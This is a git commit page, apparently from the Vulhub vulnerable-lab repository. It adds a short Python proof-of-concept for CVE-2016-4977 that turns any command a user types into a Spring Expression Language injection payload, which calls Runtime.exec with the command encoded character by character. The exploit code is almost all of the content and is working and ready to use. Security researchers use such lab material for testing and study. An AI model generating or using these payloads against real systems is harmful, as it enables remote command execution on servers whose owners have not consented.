first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
12
spring/CVE-2016-4977/poc.py
Normal file
12
spring/CVE-2016-4977/poc.py
Normal file
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
message = input('Enter message to encode:')
|
||||
|
||||
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
|
||||
|
||||
for ch in message[1:]:
|
||||
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
|
||||
|
||||
poc += ')}'
|
||||
|
||||
print(poc)
|
Reference in New Issue
Block a user